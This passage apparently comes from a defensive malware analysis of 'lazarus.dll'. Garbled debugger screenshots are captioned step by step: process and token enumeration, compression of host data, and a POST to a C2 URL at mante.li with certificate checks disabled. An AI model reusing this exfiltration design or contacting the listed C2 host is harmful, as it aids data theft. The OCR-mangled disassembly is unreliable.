Address He OOCFEA7C 58 OOCFEA8C 50 Figure 20	x 00 53 00 79 00 72 00 6F	00 73 00 7	74 00 65 00 55 00 73 00	6D 00 20 00 73 00 5D 00	ASCII [.S.y.s.t.e P.r.o.c.e.s	e.m s.s.].		OOCFE9F0 OOCFE9F4 OOCFE9F8 OOCFE9F8	0000 0000 76AA	0000 0000 5890	kernel 32	.CreateToo	1he1p32Sn	apshot

Whether the file doesn't have enough rights to open a process, it copies "Unknown" along with the process name to a temporary buffer.

The binary takes a snapshot of the current process along with all its modules using the CreateToolhelp32Snapshot API (0x8 = TH32CS_SNAPMODULE):

	 69DD 6E6 69DD 6E6 69DD 6E6 	3 FF B5 9 89 85 F 6A 08	84 FO FF F 8C FO FF F	F p F m	ush dword pt ov dword ptr ush 8	ss:[ebp-F	F7C] 74],eax			x87SW_SF 0 x87SW_P x87SW_0 0 x87SW_Z	1 x875W_U 0 0 x875W_D 0
esi= <kerne< th=""><th>690D6E7</th><th>Dihelp32Sna</th><th>oshot> (76A</th><th>4F890)</th><th>all eși</th><th></th><th></th><th>></th><th>· ~</th><th>Default (stdcall) 1: [esp] 00000008 2: [esp+4] 00000000 3: [esp+8] CD4245A8 4: [esp+C] 00CFFBA0</th><th>▼ 5 💭 Unloc</th></kerne<>	690D6E7	Dihelp32Sna	oshot> (76A	4F890)	all eși			>	· ~	Default (stdcall) 1: [esp] 00000008 2: [esp+4] 00000000 3: [esp+8] CD4245A8 4: [esp+C] 00CFFBA0	▼ 5 💭 Unloc
Dump 1	Dump 2	Dumo 3	Dump 4	Dump 5	Watch 1	[x=] Locals	2 Struct	00CFEA4C 0	0000	0008	
Figure 21	and comp a	and bound a	ere bany i	and promp 2	- Water 1	1-10000	2. 50 det	OCFEASO 0	0000	0000	

Module32FirstW is utilized to retrieve information about the first module associated with the current process:

	 69DD6EA5 69DD6EA6 	50 56	p	ush eax ush esi				2	(875W_0 0 x875W_Z	0 x875W_D 0
	690D6EA7	FF 15 74 F0 1	<u>)E 69</u>	all dword pt	tr ds:[<&Moo	lule32FirstW>]	>	D	efault (stdcall)	▼ 5 😫 🗌 Unloc
dword ptr [6	9DEF074 <lazar A7 lazarus.dll</lazar 	us.&Module32Fir	stW>]= <kerne132< th=""><th>Module32Fir.</th><th>stW></th><th></th><th></th><th>234</th><th>: [esp+4] 00CFF408 : [esp+8] CD4245A8 : [esp+C] 00CFFBA0</th><th></th></kerne132<>	Module32Fir.	stW>			234	: [esp+4] 00CFF408 : [esp+8] CD4245A8 : [esp+C] 00CFFBA0	
Ump 1	Dump 2	Dump 3	p 4 🔛 Dump 5	🛞 Watch 1	[x=] Locals	2 Struct	OOCFEA4C 0	DOOOD	2E8	

Figure 22

The malicious DLL gets information about the next process recorded in the snapshot:

	 69DD 6F23 69DD 6F24 	SO FF BS	FO EF FF F	F P	ush eax ush dword pt	r ss:[ebp-:	1010]			x875W_0 0 x875W_Z	0 x875W_D 0
EIP	690D 6F2A	FF 15	ES FO DE 6	<u>s</u> c	all dword pt	r ds:[<&Pro	ocess32NextW>	••• •	>	Default (stdcall)	▼ 5 🗘 Unloc
dword ptr	[69DEFOF8 <1a	dll:\$6F2A	cess32NextWa]= <kernel32< td=""><td>.Process32Ne</td><td>xtW></td><td></td><td></td><td></td><td>2: [esp+4] 00CFF830 3: [esp+8] CD4245A8 4: [esp+C] 00CFFBA0</td><td></td></kernel32<>	.Process32Ne	xtW>				2: [esp+4] 00CFF830 3: [esp+8] CD4245A8 4: [esp+C] 00CFFBA0	
U Dump 1	Dump 2	Dump 3	Dump 4	Dump 5	Watch 1	[x=] Locals	2 Struct	00CFEA4C	0000	030C	

Figure 23

The OpenProcessToken routine is used to open the access token associated with a process (0x8 = TOKEN_QUERY):

	 69DD715 69DD715 69DD715 	6 50 7 6A 08 9 53			ush eax ush 8 ush ebx					x87SW_SF 0 x87SW_P x87SW_0 0 x87SW_Z	1 x875W_U 0 0 x875W_D 0
dword ptr	6900715	A FF 15	nProcessToke	2 en>]= <advapi< th=""><th>all dword p</th><th>tr ds:[<mark><&Ope</mark> ssToken></th><th>nProcessToker</th><th>▶]</th><th>></th><th>Default (stdcall) 1: [esp] 000002E8 2: [esp+4] 0000008 3: [esp+8] 00CFEA0C 4: [esp+C] 0319C5B4</th><th>▼ 5 💽 🗆 Unloc</th></advapi<>	all dword p	tr ds:[<mark><&Ope</mark> ssToken>	nProcessToker	▶]	>	Default (stdcall) 1: [esp] 000002E8 2: [esp+4] 0000008 3: [esp+8] 00CFEA0C 4: [esp+C] 0319C5B4	▼ 5 💽 🗆 Unloc
.text:6900	ISA Tazarus	.dil:\$/15A	#655A						-	Construction of the second second	
Dump 1	Dump 2	Dump 3	Dump 4	Dump 5	💮 Watch 1	[x=] Locals	3 Struct	00CFE9E	000	002E8 00008	
Address H	PY				ASCTT	1		00CFE9F	0000	FEAOC	

Figure 24

GetTokenInformation is utilized to extract the user account of the token (0x1 = TokenUser):

FIP	 69DD71F1 69DD71F1 69DD720 69DD720 69DD720 69DD720 69DD720 	E 50 F 68 2C 4 56 S 6A 01 F 75 A FF 15	01 00 00 C8		sh eax sh 12C sh esi sh 1 sh dword pt	r ss: ebp-:	8] TokenInform	ational			x875W_B 0 x875W_C1 0 x875W_SF 0 x875W_0 0	x875W_C3 x875W_C0 x875W_P x875W_Z	0 x875W 0 x875W 1 x875W 0 x875W	_C2 0 _ES 0 _U 0 _D 0
dword ptr	• < [69DEF018 <]a	azarus.@Get	FokenInforma	tion>]= <adva< th=""><th>pi32.GetTok</th><th>enInformati</th><th>on></th><th></th><th></th><th>> D</th><th>efault (stdcall) : [esp] 00 : [esp+4] : [esp+8]</th><th>000348 00000001 03149498</th><th></th><th>🖌 5 😫 🗌 Unlo</th></adva<>	pi32.GetTok	enInformati	on>			> D	efault (stdcall) : [esp] 00 : [esp+4] : [esp+8]	000348 00000001 03149498		🖌 5 😫 🗌 Unlo
.text:69DD	720A lazarus.	d11:\$720A #	#660A							4	: [esp+C]	0000012C		
Dump 1	Ump 2	Dump 3	💷 Dump 4	Ump 5	🥘 Watch 1	[x=] Locals	Struct		OOCFE9E0 00CFE9E4	00000	348 001			
Address	lex				ASCII	1		^	OOCFE9E8	03149	498			
03149498	00 00 00 00 00	00 00 00	00 00 00 00	00 00 00 00					OOCFE9FO	OOCFE	AIC			
Figure 25														

The process retrieves the name of the account for a SID and the name of the first domain on which the SID is found via a function call to LookupAccountSidW:

Gir dword ptr [.text:69DD7	SSDD7282 SSDD7283 SSDD7285 SSDD7286 SSD07286 SSD07288 SSD07288 SSD07288 SSD07288 SSD07288 SSD07288 SSD07289 SSD07289	50 80 45 D0 57 80 45 CC 50 53 FF 36 64 00 FF 15 04 F0 DE "US.&LookupAccount: 1:\$7291 #6691	ea e push push push push push push <u>69</u> call 51dw>]= <advap132.1< th=""><th>eax ax,dword ; eax edi ax,dword ; eax ebx dword ptr dword ptr LookupAcco</th><th>otr ss:[eb otr ss:[eb ds:[esi] ds:[<&Loo ountSidw></th><th>p-30] p-34] kupAccountS1</th><th>dw>]</th><th>></th><th>×8 ×8 ×8 ×8 ×8 ×8 ×8 ×8 ×8 ×8 ×8 ×8 ×8 ×</th><th>1714_6 3 Cempty) 175Tw_6 3 Cempty) 175Tw_6 0 X87Sw_C 175w_6 0 X87Sw_C 175w_6 0 X87Sw_C 175w_6 0 X87Sw_C 175w_6 0 X87Sw_C 175w_0 0 X87Sw_C 1800000000 0 1494A0 19149FDB 00149FDB 00149FDB 19149FDB 000051400 </th><th>x87TW_7 3 (Em) 3 0 x87SW_C2 0 x87SW_U 0 x87SW_U 0 x87SW_U 0 x87SW_U 5</th><th></th></advap132.1<>	eax ax,dword ; eax edi ax,dword ; eax ebx dword ptr dword ptr LookupAcco	otr ss:[eb otr ss:[eb ds:[esi] ds:[<&Loo ountSidw>	p-30] p-34] kupAccountS1	dw>]	>	×8 ×8 ×8 ×8 ×8 ×8 ×8 ×8 ×8 ×8 ×8 ×8 ×8 ×	1714_6 3 Cempty) 175Tw_6 3 Cempty) 175Tw_6 0 X87Sw_C 175w_6 0 X87Sw_C 175w_6 0 X87Sw_C 175w_6 0 X87Sw_C 175w_6 0 X87Sw_C 175w_0 0 X87Sw_C 1800000000 0 1494A0 19149FDB 00149FDB 00149FDB 19149FDB 000051400	x87TW_7 3 (Em) 3 0 x87SW_C2 0 x87SW_U 0 x87SW_U 0 x87SW_U 0 x87SW_U 5	
Dump 1	Ump 2	Dump 3 Ump 4	💷 Dump 5 🛛 👹	Watch 1	[x=] Locals	2 Struct	000	ESOS 0	000000 31494A	00		
Address He 03149FD8 00 03149FE8 00 03149FF8 00	x 00 00 00 00 00 00 00 00 00 00 00 00 00 00	0 00 00 00 00 00 00 0 0 00 00 00 00 00 0	ASC 0 00 00 00 00 0 00 00 00 00 00 0 00 00 00 00	11			^ 00C 00C 00C 00C	E9E0 0 E9E4 0 E9E8 0 E9EC 0 E9EC 0	3149FD 0CFEA1 314928 0CFEA1 0CFEA1	8 .0 .8 .4 .5		

Figure 26

GetTokenInformation is utilized to extract the Terminal Services session identifier associated with the token (0xC = TokenSessionId):

EIP	69DD730 69DD730 69DD730 69DD731 69DD731 69DD731 69DD731 €9DD731 €9DD731	9 50 A 6A 04 5 50 6 6A 00 2 FF 75 5 FF 15	DC C8 <u>18 F0 DE 6</u>	2	oush eax bush 4 ea eax,dword oush eax oush C oush dword pt all dword pt	r ss:[ebp-3 r ss:[ebp-3 r ds:[<&Get	p-24] 8 <mark>]</mark> TokenInforma	tion>]		~ D	x8/Statusword 0020 x87SW_B 0 x87SW_(x87SW_C1 0 x87SW_(x87SW_SF 0 x87SW_) x87SW_SF 0 x87SW_) efault (stdcall) : [esp] 00000348	3 0 0 0 1 0	x87SW_C2 x87SW_ES x87SW_U x87SW_D x87SW_D	0 0 0 0 0
.text:69DD	7315 lazarus.	dll:\$7315	#6715	it fons j= <adv< th=""><th>ap152.GetTok</th><th>eninformati</th><th>Un></th><th></th><th></th><th>234</th><th>: [esp+4] 0000000 : [esp+8] 00CFEA20 : [esp+C] 00000004</th><th></th><th></th><th></th></adv<>	ap152.GetTok	eninformati	Un>			234	: [esp+4] 0000000 : [esp+8] 00CFEA20 : [esp+C] 00000004			
Ump 1	Dump 2	Dump 3	Dump 4	Dump 5	💮 Watch 1	x= Locals	2 Struct		00CFE9E0 00CFE9E4	000003	348 00C			
Address H 00CFEA20 0	ex 0 00 00 00 25	00 73 00	5C 00 25 00	73 00 00 00	ASCII	6. S		^	00CFE9E8 00CFE9EC 00CFE9F0	00CFE/ 000000 00CFE/	A20 D04 A1C			

Figure 27

The RtlGetCompressionWorkSpaceSize API is used to determine the correct size of the WorkSpace buffer for the RtlCompressBuffer function (0x102 = COMPRESSION_FORMAT_LZNT1 | COMPRESSION_ENGINE_MAXIMUM):

Dump 1 Dump 2	Dump 3 Dump 4 Dump	5 👹 Watch 1 [x=] Locals 🐉 Struct	00CFFA7C 000 00CFFA80 00C	00102 FFB08	
eax= <ntdll.rtlgetcomp .text:690D764D lazaru</ntdll.rtlgetcomp 	37 68 02 01 00 00 36 68 02 01 00 00 36 C7 85 70 FF FF FF 00 00 0 40 C7 45 84 00 00 00 0 40 FF D0 0 00 00 00 0 40 FF D0 0 0 00 00 00 essionWorkSpaceSize> (770810C0) s.dll: \$7640 #6A40 0	<pre>bush 102 mov dword ptr ss: [ebp-90],0 mov dword ptr ss: [ebp-4C],0 call eax</pre>	>	Xar San CL 0 Xar San CL 0 Xar San CL 0 Xar San CL 0 Xar San CL 0 0 Xar San CL 0 Xar San CL 0 Xar San CL 0 Xar San CL 0 0 Xar San CL 0 Xar San CL 0 Xar San CL 0 Xar San CL 0 Default (stdcall) V S S Xar San CL 0 Xar San CL 0 Xar San CL 0 1: [esp1000000102 2: [esp+4] 00CFFB08 3: [esp+4] 00CFFB08 3: [esp+6] 00CFFB4C 4: [esp+C] CD424448	Unloc
690076 690076 690076 690076	25 50 26 8D 85 70 FF FF FF 2C C7 45 EC 00 00 00 00 33 50 4 47 66	push eax lea eax,dword ptr ss:[ebp-90] mov dword ptr ss:[ebp-14],0 push eax		x87StatusWord 0020 x87StatusWord 0020 x87SW_B 0 x87SW_C3 0 x87SW_C2	0

Figure 28

The process compresses the buffers from figures 15 and 16 using the RtlCompressBuffer function (0x102 = COMPRESSION_FORMAT_LZNT1 | COMPRESSION_ENGINE_MAXIMUM):

Ear> Ear>	push esi lea eax,dword ptr ss: [ebp-16] push eax mov eax,dword ptr ds: [edi+6A] push dword ptr ss: [ebp-08] push dword ptr ss: [ebp-04] push dword ptr ss: [ebp-04] push dword ptr ss: [ebp-04] push dword ptr ss: [ebp-05] push 102 call eax	x877W_4 3 (Empty) x877W_5 3 (Empty) x877W_6 3 (Empty) x877W_5 3 (Empty) x875W_6 3 (Empty) x877W_7 3 (Empty) x875W_5 0 x875W_6 0 x875W_2 0 x875W_5 0 x875W_2 0 x875W_2 0 x875W_5 0 x875W_2 0 x875W_2 0 x875W_5 0 x875W_2 0 x875W_0 0 x875W_5 0 x875W_5 0 x875W_5 0
Ump 1 Ump 2 Ump 3 Ump 4	Dump 5 🛞 Watch 1 🕅 Iocals 🎾 Struct ODCFFAG	3 0000102 C 03176250
Address Hex	ASCII	0 0002991E
03176250 00 00 0A 00 57 00 69 00 6E 00 64 00 6F 0	0 77 00W.1.n.d.o.w.	8 00029024
03176260 73 00 20 00 49 00 50 00 20 00 43 00 6F 0	0 6E 00 SI.PC.O.N. 00CFFA	C 00001000
031/62/0 66 00 69 00 67 00 75 00 72 00 61 00 74 0	0 69 00 T.1.g.u.F.a.t.1. 00CFFA8	30 00CFFB80
02176200 CE 00 72 00 74 00 20 00 45 00 C1 00 CD	0 45 00 0 5 t N 3 m 8	34 03149600
F: 00		

Figure 29

The DLL randomly chooses a C2 server from the list of four. It initializes the application's use of the WinINet functions via a call to InternetOpenW:

812	690D7781 690D7783 690D7785 690D7787 690D7787 690D7788 590D7788 590D7788	6A 00 6A 00 6A 00 50 FF 75 9C FF 15 98 F2 DE	push 0 push 0 push 0 push eax push dwor call dwor	d ptr ss: <mark>[</mark> ebp d ptr ds:[<mark><&I</mark>	-64] iternetOpenW>]		~	x875W_B 0 x875W_C1 0 x875W_SF 0 x875W_0 0 Default (stdcall)	x87SW_C3 x87SW_C0 x87SW_P x87SW_P x87SW_Z	0 x875W_C 0 x875W_E 1 x875W_U 0 x875W_D	2 0 5 0 0 5 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
dword ptr	[69DEF298 <lazar 77BB lazarus.dll</lazar 	us.&InternetOpenW> :\$77BB #6BBB]= <wininet.internet0< td=""><td>oenW></td><td></td><td></td><td></td><td>1: [esp] 03 2: [esp+4] 3: [esp+8] 4: [esp+C]</td><td>135BA0 L"Mc 00000000 00000000 00000000</td><td>ozilla/4.0</td><td>(compatible;</td></wininet.internet0<>	oenW>				1: [esp] 03 2: [esp+4] 3: [esp+8] 4: [esp+C]	135BA0 L"Mc 00000000 00000000 00000000	ozilla/4.0	(compatible;
Dump 1	Dump 2	Dump 3 🛛 💭 Dump 4	📖 Dump 5 🛛 🥮 Wate	h 1 x= Locals	Struct	00CFFA7 00CFFA7	4 031 5 000	SSBAO L"Mozi 00000	11a/4.0 (co	ompatible; M	ISIE 7.0; Win
Address H 03135BA0 4	ex D 00 6F 00 7A 00	69 00 6C 00 6C 00	ASCII 61 00 2F 00 M.o.z.i	.1.1.a./.		- ^ 00CFFA7 00CFFA8 00CFFA8	0000 0000 0000	00000			

InternetCanonicalizeUrlW is used to canonicalize the URL:

	 630D184f 630D185 630D185 630D185 630D185 630D185 630D185 630D185 630D186 630D186 630D186 630D186 	68 00 4 89 45 7 80 45 8 57 5 7 6 C7 45 6 C7 45 7 89 50 8 5 57 8 5 7 8	0 00 00 3E C4 F0 14 84 3C 00 0 C8 00 01 0 E4 24 08 0 E0	1 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7	bush 3E000000 nov dword ptr lea eax,dword push eax bush edi bush dword ptr nov dword ptr nov dword ptr nov dword ptr nov dword ptr	ss: ebp-3 ptr ss: e ss: ebp-4 ss: ebp-4 ss: ebp-3 ss: ebp-1 ss: ebp-2	,eax bp-10 ,3C ,100 ,824 ,ebx				x87TW_4 3 x87TW_6 3 x87TW_6 3 x87StatusWC x87SW_B 0 x87SW_C1 0 x87SW_SF 0 x87SW_SF 0 x87SW_0 0	(Empty) (Empty) ord 0020 x875W_C3 x875W_C0 x875W_P x875W_Z	x87Tw x87Tw 0 0 1 0	x875W_C2 x875W_E5 x875W_U x875W_E5 x875W_D	0 0 0 0
dword pt	← 690D187	FF 15	ernetCanonic	alizeUrlW>1	<pre>all dword pt =<wininet.in< pre=""></wininet.in<></pre>	ternetCanor	ternetCanonic	alizeur	1w>]	>	Default (stdcall) 1: [esp] 03	136810 L"P	nttps	▼ 5 ://mante.	Unloci Unloci
.text:69	DD1877 lazarus.	d11:\$1877	#C77								2: [esp+4] 3: [esp+8] 4: [esp+C]	00CFFA70 3E000000			
Dump	1 0 Dump 2	Dump 3	Dump 4	Dump 5	🛞 Watch 1	[x=] Locals	2 Struct		00CFFA14 00CFFA18	03136 031CE	5810 L"http 770	s://mante.	li/ir	mages/dra	w.php"
Address	Нех				ASCII	1		^	00CFFA1C	OOCFF	A70				

Figure 31

The malware cracks the URL into its component parts by calling the InternetCrackUrlW API:

and a state of the second s	1 mart 1				ASCIT			00	CFFA1C 00	0000000	D		
Dump 1	Ump 2	Dump 3	Ump 4	Dump 5	🥘 Watch 1	[x=] Locals	Struct	00	CFFA14 03 0CFFA18 00	B1CE770	D L"https://mante	.li/images/0	draw.php"
dword ptr	650D189 690D1	7 50 8 6A 00 A D1 F9 C 51 0 57 E FF 15 azarus.&Inti	ernetCrackUr #C9E	<u>9</u> -]w>]= <winir< td=""><td>Jush eax Jush 0 Jar ecx,1 Jush ecx Jush edi Call dword pt Met.InternetC</td><td>r ds:[<mark><&In</mark>t</td><td>ernetCrackUrl</td><td><mark>0</mark>]</td><td>></td><td>×87 ×87 ×87 ×87 ×87 ×87 ×87 ×87 ×87 ×87</td><td>75W_B 0 x875W_C 75W_C1 0 x875W_C 75W_C0 0 x875W_Z 75W_0 0 x875W_Z 1000 x875W_Z x875W_Z 1000 x875W_Z</td><td>3 0 x875W_ 0 0 x875W_ 1 x875W_ 0 x875W_ 0 x875W_ *</td><td>C2 0 ES 0 U 0 D 0 5 0 U 0 D 0 te.l1/1mages/</td></winir<>	Jush eax Jush 0 Jar ecx,1 Jush ecx Jush edi Call dword pt Met.InternetC	r ds:[<mark><&In</mark> t	ernetCrackUrl	<mark>0</mark>]	>	×87 ×87 ×87 ×87 ×87 ×87 ×87 ×87 ×87 ×87	75W_B 0 x875W_C 75W_C1 0 x875W_C 75W_C0 0 x875W_Z 75W_0 0 x875W_Z 1000 x875W_Z x875W_Z 1000 x875W_Z	3 0 x875W_ 0 0 x875W_ 1 x875W_ 0 x875W_ 0 x875W_ *	C2 0 ES 0 U 0 D 0 5 0 U 0 D 0 te.l1/1mages/

Figure 32

The connect, send and receive timeouts are set to 150s using the InternetSetOptionW routine (0x2 = INTERNET_OPTION_CONNECT_TIMEOUT, 0x5 = INTERNET_OPTION_SEND_TIMEOUT, 0x6 = INTERNET_OPTION_SEND_TIMEOUT, 0x6 =

INTERNET_OPTION_RECEIVE_TIMEOUT):

	63001918 6A 04 63001910 50 63001910 6A 02 63001920 FF 36 63001922 C7 45 F8 F0 49 02 00 63001929 FF 07	<pre>push 4 push eax push 2 push 2 push dword ptr ds:[esi] mov dword ptr ss:[ebp-8],249F0 call edi</pre>	X875W_B 0 X875W_C3 0 X875W_C2 0 X875W_C1 0 X875W_C0 0 X875W_E5 0 X875W_S5 0 X875W_P 1 X875W_U 0 X875W_0 0 X875W_Z 0 X875W_D 0 X875W_0 0 X875W_Z 0 X875W_D 0
	<		> Default (stocal) • 5 • 00000
.text:69DD1929 1	lazarus.dll:\$1929 #D29		2: [esp+4] 0000002 3: [esp+8] 00CFFA78 4: [esp+C] 00000004
Address Hex	Dump 2 💭 Dump 3 💭 Dump 4 💭 Dump 02 00 50 45 42 CD 98 FB CF 00 68 78 DD	5 🛞 Watch 1 [x=] Locals 2 Struct 0005 ASCII ^ 0005 69 0 1 FEB1, 01, kxY1 ^ 0005	FA13 00CC0004 FA1C 00000002 FA20 00CFA78 FA24 00000004 FA20 00CFA78 FA24 0000004
Figure 33			
	690D1928 6A 04 690D1920 80 45 F8 690D1930 C7 45 F8 64 90 690D1937 S0 65 690D1938 6A 05 690D1938 6A 05 690D1938 6A 05 690D1938 6A 05 690D1936 6A 05 6500D1930 FF 36 55 55 56	push 4 lea eax,dword ptr ss:[ebp-6] mov dword ptr ss:[ebp-6],249F0 push eax push dword ptr ds:[esi] call edi	x8/statusword 0020 x875w_B 0 x875w_C0 0 x875w_C2 0 x875w_C1 0 x875w_C0 0 x875w_E5 0 x875w_SF 0 x875w_P 1 x875w_U 0 x875w_0 0 x875w_Z 0 x875w_D 0 Default (stdcal)
adi- adadaat Ta			1: [esp] 00CC0004
.text:690D193C 1	lazarus.dll:\$193C #D3C	r 🙈 washir (milianda 🌖 suash 🔘 OOCR	2: [esp+4] 00000005 3: [esp+8] 00CFFA78 4: [esp+C] 00000004 FA13 00CC0004
	Dump 2 grg Dump 3 grg Dump 4 grg Dump	5 W Watch I K=I Locais 2 Struct 00CF	FA1C 00000005 FA20 00CFFA78
OOCFFA78 FO 49 0	02 00 50 45 42 CD 98 FB CF 00 68 78 DD	62 01. PEBİ. Ûİ. kxÝi	FA24 00000004
Figure 34	690D193E 6A 04 690D1940 8D 45 F8 690D1943 C7 45 F8 F0 49 02 00 690D194A 50 690D194A 50 690D194D FF 36 500D194D FF 36 500D194F FF 07 <<	push 4 lea eax,dword ptr ss:[ebp-8] mov dword ptr ss:[ebp-8],249F0 push eax push 6 push dword ptr ds:[esi] call edi	X8/Statusword 0020 x87Sw_B 0 x87Sw_C3 0 x87Sw_C2 0 x87Sw_C1 0 x87Sw_C0 0 x87Sw_E5 0 x87Sw_SF 0 x87Sw_P 1 x87Sw_U 0 x87Sw_C0 0 x87Sw_Z 0 x87Sw_D 0 Default (stdcall)
edi= <wininet.int< td=""><td>ternetSetOptionW> (71755680)</td><td></td><td>1: [esp] 00CC0004</td></wininet.int<>	ternetSetOptionW> (71755680)		1: [esp] 00CC0004
.text:69DD194F 1	lazarus.dll:\$194F #D4F		2: esp+4 00000006 3: esp+6 000FFA78 4: esp+C 00000004
Dump 1	Dump 2 👹 Dump 3 👹 Dump 4 👹 Dump	5 🛞 Watch 1 [x=] Locals 🖉 Struct	FA18 00CC0004 FA1C 00000006
Address Hex		ASCII	FA20 00CFFA78
00CFFA78 F0 49 0	02 00 50 45 42 CD 98 FB CF 00 68 78 DD	69 01PEBİ.ÛĪ.kXŶi	FA24 00000004
Figure 35			

The DLL opens an HTTP session to the C2 server on port 443 (0x3 = INTERNET_SERVICE_HTTP):

	 690D195E 630D1960 690D1962 690D1964 690D1964 690D196A 690D196A 690D196B 690D196E 	6A 00 6A 00 6F 76 2C FF 76 28 50 FF 76 1C FF 36	ր ր ր ր ր ր	ish 0 ish 3 ish dword ptr ish dword ptr ish eax ish dword ptr ish eax	ds:[es1+2 ds:[es1+2 ds:[es1+1 ds:[es1]	;] ;]			3	x87StatusWo x87SW_B 0 x87SW_C1 0 x87SW_C1 0 x87SW_SF 0 x87SW_SF 0	cmp.cy) x875W_C3 x875W_C3 x875W_C3 x875W_C3 x875W_Z	0 x875W_C 0 x875W_E 1 x875W_U 0 x875W_D	2 0 5 0 0
EIR	→ 69001970	FF 15 88 F2 DE 6	2 Ca	dword ptr	ds:[<∬	ernetConnectW	>]	3	>	Default (stdcall)		•	5 😫 🗌 Unlock
dword ptr	[69DEF288 <lazar D1970 lazarus.dll</lazar 	us.&InternetConnec :\$1970 #D70	tW>]= <wininet< td=""><td>.InternetCon</td><td>inectW></td><td></td><td></td><td></td><td></td><td>1: [esp] 00 2: [esp+4] 3: [esp+8] 4: [esp+C]</td><td>CC0004 03134520 L 000001BB 0312C140</td><td>"mante.li"</td><td></td></wininet<>	.InternetCon	inectW>					1: [esp] 00 2: [esp+4] 3: [esp+8] 4: [esp+C]	CC0004 03134520 L 000001BB 0312C140	"mante.li"	
Ump 1	Dump 2	Dump 3 Dump 4	Dump 5	🛞 Watch 1	[x=] Locals	Struct		00CFFA08 00CFFA0C	00CC0	0004 1520 L"mant	e.11"		
Address	Hex			ASCII			^	OOCFFA10	00000	0188			
00CFFA78 00CFFA88 00CFFA98 00CFFAA8	F0 49 02 00 50 45 48 44 42 CD 00 00 30 FB CF 00 50 6A F8 FA CF 00 3C 06	42 CD <u>98 FB CF 00</u> 00 00 00 00 00 00 00 05 77 DC 8D B4 C2 00 00 26 00 00 00	68 78 DD 69 18 02 00 00 FE FF FF FF 50 F5 01 77	ðIPEBÍ.ÚI. HDBÍ. OÚI.Pj.WÜ. 2 ØÚI.<&	kxŸ1 Þýýý Pô.w			00CFFA14 00CFFA18 00CFFA1C 00CFFA20 00CFFA24	03128 00000 00000 00000	SCE0 0003 0000			

Figure 36

The binary creates a POST request handle to the URI extracted from the specified URL:

tword ptr [66	69DD1986 69DD1988 69DD1980 69DD1990 69DD1991 69DD1993 69DD1993 69DD1995 69DD1995 69DD1995 69DD1994 69DD1990 69DD1942	6A 00 B9 00 0F 44 51 6A 00 6A 00 6A 00 6F 76 89 4D 68 <u>DC</u> 50 FF 15 FF 15	02 48 04 CA 20 F4 51 DF 69 94 F2 DE 69 000000000000000000000000000000000000	N>1= <wininet< th=""><th>ush 0 w ecx,44802 ish ove ecx,edx ish ecx ish 0 ish 0 ish 0 w dword ptr ish dword ptr ish eax if dword ptr ish eax if dword ptr ish eax</th><th>tr ds:[esi+: ss:[ebp-c] 69DF51DC tr ds:[<4Ht]</th><th>0] ,ecx poperRequestw>]</th><th>]</th><th></th><th>x8 x8 x8 x8 x8 x8 x8 x8 x8 x8 x8 x8 x8 x</th><th>7Tw_2 3 (Empty) x 7Tw_4 3 (Empty) x 7Tw_4 3 (Empty) x 7Tw_6 3 (Empty) x 7StatusWord 0020 7Sw_C 10 x87Sw_C0 7Sw_C 10 x87Sw_C0 7Sw_C 10 x87Sw_C0 7Sw_C 0 x87Sw_Z ault (stdcall) [esp] 00CC0008</th><th>87TW_3 3 (Em 87TW_5 3 (Em 87TW_7 3 (Em 87TW_7 3 (Em 0 x87SW_C2 0 x87SW_U 0 x87SW_D ▼ 5</th><th>0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0</th></wininet<>	ush 0 w ecx,44802 ish ove ecx,edx ish ecx ish 0 ish 0 ish 0 w dword ptr ish dword ptr ish eax if dword ptr ish eax if dword ptr ish eax	tr ds:[esi+: ss:[ebp-c] 69DF51DC tr ds:[<4Ht]	0] ,ecx poperRequestw>]]		x8 x8 x8 x8 x8 x8 x8 x8 x8 x8 x8 x8 x8 x	7Tw_2 3 (Empty) x 7Tw_4 3 (Empty) x 7Tw_4 3 (Empty) x 7Tw_6 3 (Empty) x 7StatusWord 0020 7Sw_C 10 x87Sw_C0 7Sw_C 10 x87Sw_C0 7Sw_C 10 x87Sw_C0 7Sw_C 0 x87Sw_Z ault (stdcall) [esp] 00CC0008	87TW_3 3 (Em 87TW_5 3 (Em 87TW_7 3 (Em 87TW_7 3 (Em 0 x87SW_C2 0 x87SW_U 0 x87SW_D ▼ 5	0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
.text:69DD19A	3 lazarus.dll	:\$19A3 #	DA3							3: 4:	[esp+6] 031388C0 L' [esp+C] 00000000	'/images/draw	.php"
Dump 1	Dump 2	Dump 3	Ump 4	Dump 5	🛞 Watch 1	[x=] Locals	3 Struct		00CFFA08 000 00CFFA0C 690	CC000 DF51D	8 C L"POST"		
Address Hex 00CFFA78 F0 4 00CFFA88 48 4 00CFFA98 30 F 00CFFA98 50 F8	9 02 00 50 45 4 42 CD 00 00 B CF 00 50 64 A CF 00 50 64	42 CD 9 00 00 0 05 77 D 00 00 2	8 FB CF 00 0 00 00 00 C 8D B4 C2 6 00 00 00	6B 78 DD 69 18 02 00 00 FE FF FF FF 50 F5 01 77	ASCII ØIPEBİ.Üİ HDBİ. OÜİ.Pj.WÜ. ØÚİ.<&.	L. kxY1 Apyyy Pô.w		^	00CFFA10 03: 00CFFA14 000 00CFFA18 000 00CFFA1C 000 00CFFA1C 004 00CFFA20 044 00CFFA24 000	1388C 00000 00000 00000 C8020 00000	0 L"/images/draw.ph 0 0 0 0 0	ıp"	

Figure 37

The security flags for the handle are set using the InternetSetOptionW API (0x1F = INTERNET_OPTION_SECURITY_FLAGS, 0xF180 = SECURITY_FLAG_IGNORE_REVOCATION | SECURITY_FLAG_IGNORE_UNKNOWN_CA |

SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID | SECURITY_FLAG_IGNORE_REDIRECT_TO_HTTP | SECURITY_FLAG_IGNORE_REDIRECT_TO_HTTPS):

